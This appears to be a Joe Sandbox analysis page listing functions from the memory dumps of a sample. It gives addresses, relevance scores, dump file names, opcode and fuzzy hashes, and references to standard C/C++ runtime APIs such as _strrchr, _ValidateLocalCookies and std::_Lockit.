Uniqueness Score: -1.00%

Function 00A03160 Relevance: .3, Instructions: 284COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f0f38ae6e273b0adbd46e3aecb5d7ef1db9da589c691284d8e83919d6978012
Instruction ID: 5e000959e9be89067171a29a81e31701a057bc52d40e97c92ef93b1998c88156
Opcode Fuzzy Hash: 1f0f38ae6e273b0adbd46e3aecb5d7ef1db9da589c691284d8e83919d6978012
Instruction Fuzzy Hash: B5A14D76A0160A9FDB14CF69E48066AFBE5FF49310B29C16DD819CB351E731EE11CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00918BA0 Relevance: .2, Instructions: 221COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c92a645651ee6f4df0d002afa5fa73551ad1127a6ea92b917737744314e0ed9c
Instruction ID: 28a35518ff45745759e748e65e10f9d37cf15d28a8bad6476d438445c8519ddf
Opcode Fuzzy Hash: c92a645651ee6f4df0d002afa5fa73551ad1127a6ea92b917737744314e0ed9c
Instruction Fuzzy Hash: DE8105B8E0024A9FDB11CF68E8C17FFBBB4EB5A300F040169D95597382CB35994AD7A1

Uniqueness

Uniqueness Score: -1.00%

Function 009ACFC0 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 62f6d011ab6f4a640baa2d2e1986349db16e379009d588c9ac229358d55988ab
Instruction ID: d9bcf064ef184d004a1b824fe434ae83135cd5c3e27052013662843ee8af1831
Opcode Fuzzy Hash: 62f6d011ab6f4a640baa2d2e1986349db16e379009d588c9ac229358d55988ab
Instruction Fuzzy Hash: ED610D716201658FD72CCFAEFCC04767366E38A3413864729EA81CB295C635E927DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00A8FCED Relevance: .2, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c6a09f60cb1be94de18d6fb15ce53d67d0c2163a0f04e47d2ee44a91ccb6d8b
Instruction ID: c478f39f9e7ae5e69d940ebacbee94f125fc7dbf2e040c9add9a72120478087a
Opcode Fuzzy Hash: 0c6a09f60cb1be94de18d6fb15ce53d67d0c2163a0f04e47d2ee44a91ccb6d8b
Instruction Fuzzy Hash: 5D4159326047258BD720EA39CCE1BD7B3E6AB9A320F299A38D584C7355E738D04DC790

Uniqueness

Uniqueness Score: -1.00%

Function 008FA918 Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46680d0314554fd398ed7fd020ff60bee8df1d437ae882661bd78aeb1168d151
Instruction ID: 4d570b06815a84de76168eb120fe41c4c863b5201b2141973ee3193259541120
Opcode Fuzzy Hash: 46680d0314554fd398ed7fd020ff60bee8df1d437ae882661bd78aeb1168d151
Instruction Fuzzy Hash: 7C518272E00119EFDF08CFA8C941AFEBBB6FF88314F198469E515AB241D7749A40DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00B4EA59 Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e33ab7ff1d5a385b8c9286928b0ff01a1d7aedd24bd7d3d9ae884f7a32b8ef
Instruction ID: 7c664bb915f125b0b4da67d9afa7c02978bd901c9abfedc13770eef97df066a5
Opcode Fuzzy Hash: d9e33ab7ff1d5a385b8c9286928b0ff01a1d7aedd24bd7d3d9ae884f7a32b8ef
Instruction Fuzzy Hash: 3D412732A047218FEB21DA35CCA12D7B7E2AB9B330F29D628D594C7795D629900DDB80

Uniqueness

Uniqueness Score: -1.00%

Function 00BBDB7F Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67ed455ad3153d2df693b444c853a46ac2b2742d867ed9a4befe3936e726a9a2
Instruction ID: b2a8ef209580cc6e47682e2e1e59124fa5993e33fcc250757a79d5a680634c94
Opcode Fuzzy Hash: 67ed455ad3153d2df693b444c853a46ac2b2742d867ed9a4befe3936e726a9a2
Instruction Fuzzy Hash: AA31D572B006244BEB20E936CCF26E7B3D65B9F370F69D6389984C7759E629900DC780

Uniqueness

Uniqueness Score: -1.00%

Function 008F7190 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: a6f5f78cada85afe4095f6ad10f7bf35ab598f5e46ada7557f2b16c8636b2711
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 31112B7720809D43F6648A3DD8B46BBB795FBC532072C437AD352CBB54D132E989DA00

Uniqueness

Uniqueness Score: -1.00%

Function 00B6E2A2 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ff72b3f4df0b7bf1a21b90739c7f8dc0023bd7f8b336e35c5094d2b956b99f99
Instruction ID: a29152becbb0ae2b969fa790eba953e1531b3e8d2821955ebe7423395a1fbd87
Opcode Fuzzy Hash: ff72b3f4df0b7bf1a21b90739c7f8dc0023bd7f8b336e35c5094d2b956b99f99
Instruction Fuzzy Hash: E9E04F3021C3829FC785DB10850697E7AE4EED5344F50886DB4D947202EB798919CB57

Uniqueness

Uniqueness Score: -1.00%

Function 0090BB58 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0090BBDE

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 87d773bd58945968c3ee782c2488eb6ec4e32a2860bbd1148eb1c539d95f02a3
Instruction ID: bff18f13570622d1402412e13d4ab4c41550d1ace64bfb417053c0c3c5a80d6b
Opcode Fuzzy Hash: 87d773bd58945968c3ee782c2488eb6ec4e32a2860bbd1148eb1c539d95f02a3
Instruction Fuzzy Hash: 3FB17872A0036A9FEB22CF28CC81BEEBBA9EF55350F144155E944AF2C2D774D941C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 008F72C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 132COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 008F72F7
___except_validate_context_record.LIBVCRUNTIME ref: 008F72FF
_ValidateLocalCookies.LIBCMT ref: 008F7388
__IsNonwritableInCurrentImage.LIBCMT ref: 008F73B3
_ValidateLocalCookies.LIBCMT ref: 008F7408

Strings

csm, xrefs: 008F739D

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d7e723839013b5c438579c2711b28665b00580e7fed9de5f317279fe5c558e56
Instruction ID: 96cff91709f60ad01f9ad71d31401d08ce982e412ff25beab0f012fc06670839
Opcode Fuzzy Hash: d7e723839013b5c438579c2711b28665b00580e7fed9de5f317279fe5c558e56
Instruction Fuzzy Hash: E441A034A0420DABDF10DF78C884AAEBBA5FF45314F548165EE18DB392DB31E901DB91

Uniqueness

Uniqueness Score: -1.00%

Function 008DA060 Relevance: 9.1, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008DA09D
std::_Lockit::_Lockit.LIBCPMT ref: 008DA0BF
std::_Lockit::~_Lockit.LIBCPMT ref: 008DA0E7
__Getctype.LIBCPMT ref: 008DA1C5
std::_Facet_Register.LIBCPMT ref: 008DA1F9
std::_Lockit::~_Lockit.LIBCPMT ref: 008DA223

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 5a1c0d7a89060c3ce22414330e91b9108a1939d47fc1ad08e16380dfd61faa43
Instruction ID: 9774c01cf6d09fbbea7d315e0a2f91fedde0a64fcf74724e7153af629f023b7e
Opcode Fuzzy Hash: 5a1c0d7a89060c3ce22414330e91b9108a1939d47fc1ad08e16380dfd61faa43
Instruction Fuzzy Hash: 9F51AAB4D01649CBCB14CFA8C9417AEBBB0FB11714F24825ED845AB381E775AE45CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 008DD260 Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008DD28A
std::_Lockit::_Lockit.LIBCPMT ref: 008DD2AC
std::_Lockit::~_Lockit.LIBCPMT ref: 008DD2D4
__Getcoll.LIBCPMT ref: 008DD39F
std::_Facet_Register.LIBCPMT ref: 008DD3E4
std::_Lockit::~_Lockit.LIBCPMT ref: 008DD40E

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: 585468f3b4cb39d89cf8b0559c7e4ef22430767517c3e65d9a60e6fd5f1ee1ee
Instruction ID: cba56ba9637f37cd9f248b0bcd524596ff5845a3e3f7ae58bc6ae958d2b8a280
Opcode Fuzzy Hash: 585468f3b4cb39d89cf8b0559c7e4ef22430767517c3e65d9a60e6fd5f1ee1ee
Instruction Fuzzy Hash: 7351CFB4C01208DFDB01DF98D944BAEBBB4FF51324F248159E815AB381D779AE06CB92

Uniqueness

Uniqueness Score: -1.00%

Function 008DC430 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 008DC45A
std::_Lockit::_Lockit.LIBCPMT ref: 008DC47C
std::_Lockit::~_Lockit.LIBCPMT ref: 008DC4A4
std::_Facet_Register.LIBCPMT ref: 008DC59A
std::_Lockit::~_Lockit.LIBCPMT ref: 008DC5C4

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: bed9e360082ef162d9cad6e3d9e17b0f3ba0ac4510b67ca8d5c616d10ffaf271
Instruction ID: 0c071c09a6c41e8697d4c147fbc3b54c407d55a46a6496c6e6a5fa18a2c5dea6
Opcode Fuzzy Hash: bed9e360082ef162d9cad6e3d9e17b0f3ba0ac4510b67ca8d5c616d10ffaf271
Instruction Fuzzy Hash: 3151DD74900249DFDB10DF98D850BAEBBF0FF11714F24825AE845AB381D7B6AA45CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 008C4900 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 67COMMON

Download Yara Rule

APIs

std::ios_base::_Ios_base_dtor.LIBCPMT ref: 008C499F

Strings

ios_base::eofbit set, xrefs: 008C4946
ios_base::failbit set, xrefs: 008C4828, 008C4941
ios_base::badbit set, xrefs: 008C4937, 008C4962

Memory Dump Source

Source File: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443590737.0000000000A42000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443651478.0000000000A6F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443678273.0000000000A75000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443816633.0000000000C47000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443838897.0000000000C48000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4444074596.0000000000FC6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8c0000_file.jbxd

Similarity

API ID: Ios_base_dtorstd::ios_base::_
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 323602529-1866435925
Opcode ID: 5949a3a6f06b538eb54d286ea86ce867d19a0b0bcca2a94a2e936053ab97192e
Instruction ID: ee30d2f8a8d2f740dcb370d225e1d5dcc2e6368914b81001d8b9ccf0eccbcf21
Opcode Fuzzy Hash: 5949a3a6f06b538eb54d286ea86ce867d19a0b0bcca2a94a2e936053ab97192e
Instruction Fuzzy Hash: E11106B29046587BC720DA6C9C13FA677A8F705710F04462DFA58C76C2EB35E944C793

Uniqueness

Uniqueness Score: -1.00%

Function 00A5ED60 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,00A5EDD9,00000000,00A61596,?,00A5F2B0,?,00C176F6,21895290,C79468BA,DA2D50BA,12B7EB90,99950A15,?), ref: 00A5ED72
TlsGetValue.KERNEL32(00000005,?,00C176F6,21895290,C79468BA,DA2D50BA,12B7EB90,99950A15,?,?,?,00BF6062,0F0340B9,?,?,00A4FD7B), ref: 00A5ED89

Strings

KERNEL32.DLL, xrefs: 00A5ED99, 00A5ED9E, 00A5EDA9
EncodePointer, xrefs: 00A5EDB4

Memory Dump Source

Source File: 00000000.00000002.4443617768.0000000000A47000.00000020.00000001.01000000.00000003.sdmp, Offset: 008C0000, based on PE: true

Associated: 00000000.00000002.4443347480.00000000008C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443393554.00000000008C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4443546402.0000000000A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
